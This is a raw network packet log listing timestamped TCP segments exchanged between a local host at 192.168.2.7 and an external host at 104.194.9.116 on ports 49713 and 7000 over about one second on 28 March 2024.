Mar 28, 2024 10:25:38.443003893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.443026066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443084002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443120956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.443142891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443311930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443348885 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.443459034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443514109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443552017 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.443573952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443609953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.443645000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.443666935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.488771915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.528510094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528640032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528704882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528740883 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.528764963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528831959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.528834105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528860092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.528932095 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.528990984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529090881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529144049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529244900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529279947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529321909 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529354095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529414892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529447079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529464006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529501915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529541969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529557943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529623985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529664993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529731989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529805899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.529848099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.529968023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.530055046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.530096054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.546670914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546689034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546704054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546758890 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546787977 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.546814919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546842098 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.546850920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546902895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546950102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.546973944 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547034025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547048092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547068119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547108889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547122955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547254086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547292948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547306061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547380924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547421932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547451019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547498941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547539949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.547564030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547607899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.547647953 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.595758915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.644944906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.654649973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654680967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654701948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654761076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654762983 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.654798985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.654814005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654861927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654902935 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.654912949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.654975891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655019045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655035019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655066967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655108929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655124903 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655184984 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655225992 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655236006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655345917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655390024 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655411959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655446053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655488968 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655502081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655564070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655606031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655620098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655678034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655695915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655719042 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655782938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655826092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655884027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655932903 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.655971050 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.655978918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656039000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656080008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656091928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656162024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656208038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656212091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656246901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656285048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656302929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656322002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656366110 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656389952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656454086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656497002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656502962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656559944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656599045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.656615973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656663895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.656703949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.751116991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764683962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764705896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764724970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764744043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764755964 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.764776945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.764790058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.764828920 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.764889956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765007019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765050888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.765091896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765193939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765237093 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.765275955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765347958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765391111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.765489101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765525103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765564919 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.765729904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765798092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765837908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.765873909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765935898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.765975952 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766000986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766017914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766053915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766093016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766187906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766225100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766247988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766309023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766346931 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766359091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766393900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766428947 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766484976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766530991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766570091 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766592979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766639948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766683102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766731024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766797066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766833067 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.766896963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.766977072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.767014980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.767050982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.767106056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.767143011 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.767167091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.767230988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.767266989 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.767288923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.816795111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891015053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891033888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891084909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891097069 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891174078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891199112 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891278982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891313076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891345978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891345978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891367912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891402006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891448975 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891504049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891540051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891588926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891634941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891669035 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891716003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891773939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891813040 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891830921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891896009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.891932011 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.891999006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.892036915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.892070055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.892103910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.892170906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.892205000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.906462908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906485081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906498909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906573057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906634092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906639099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.906672955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.906718969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906734943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906766891 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.906809092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906852961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.906852961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906913996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.906959057 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.907004118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907057047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907099962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.907102108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907164097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907207012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.907207012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907263994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907308102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.907335997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907429934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.907474995 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.928731918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.973067999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.993671894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.993720055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.993782997 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.993803024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.993889093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.993935108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.993957996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994046926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994060993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994087934 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994103909 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994144917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994160891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994247913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994277000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994292021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994313955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994352102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994477987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994539976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994580030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994581938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994642973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994687080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994748116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994826078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.994868994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:38.994916916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.995007038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:38.995052099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.028850079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.028870106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.028891087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.028934956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.028954983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.028970957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.028995037 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029035091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029073000 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029100895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029124022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029160976 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029206991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029259920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029299021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029311895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029366016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029401064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029416084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029467106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029505014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029510021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029562950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029602051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.029618025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029673100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.029711008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.075337887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.112802029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.112823009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.112901926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.112911940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.112965107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.112976074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113019943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113055944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113087893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113130093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113184929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113244057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113259077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113271952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113279104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113291025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113316059 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113328934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113379002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113379002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113394022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113415003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113425016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113428116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113441944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.113466978 CET	7000	49713	104.194.9.116	192.168.2.7
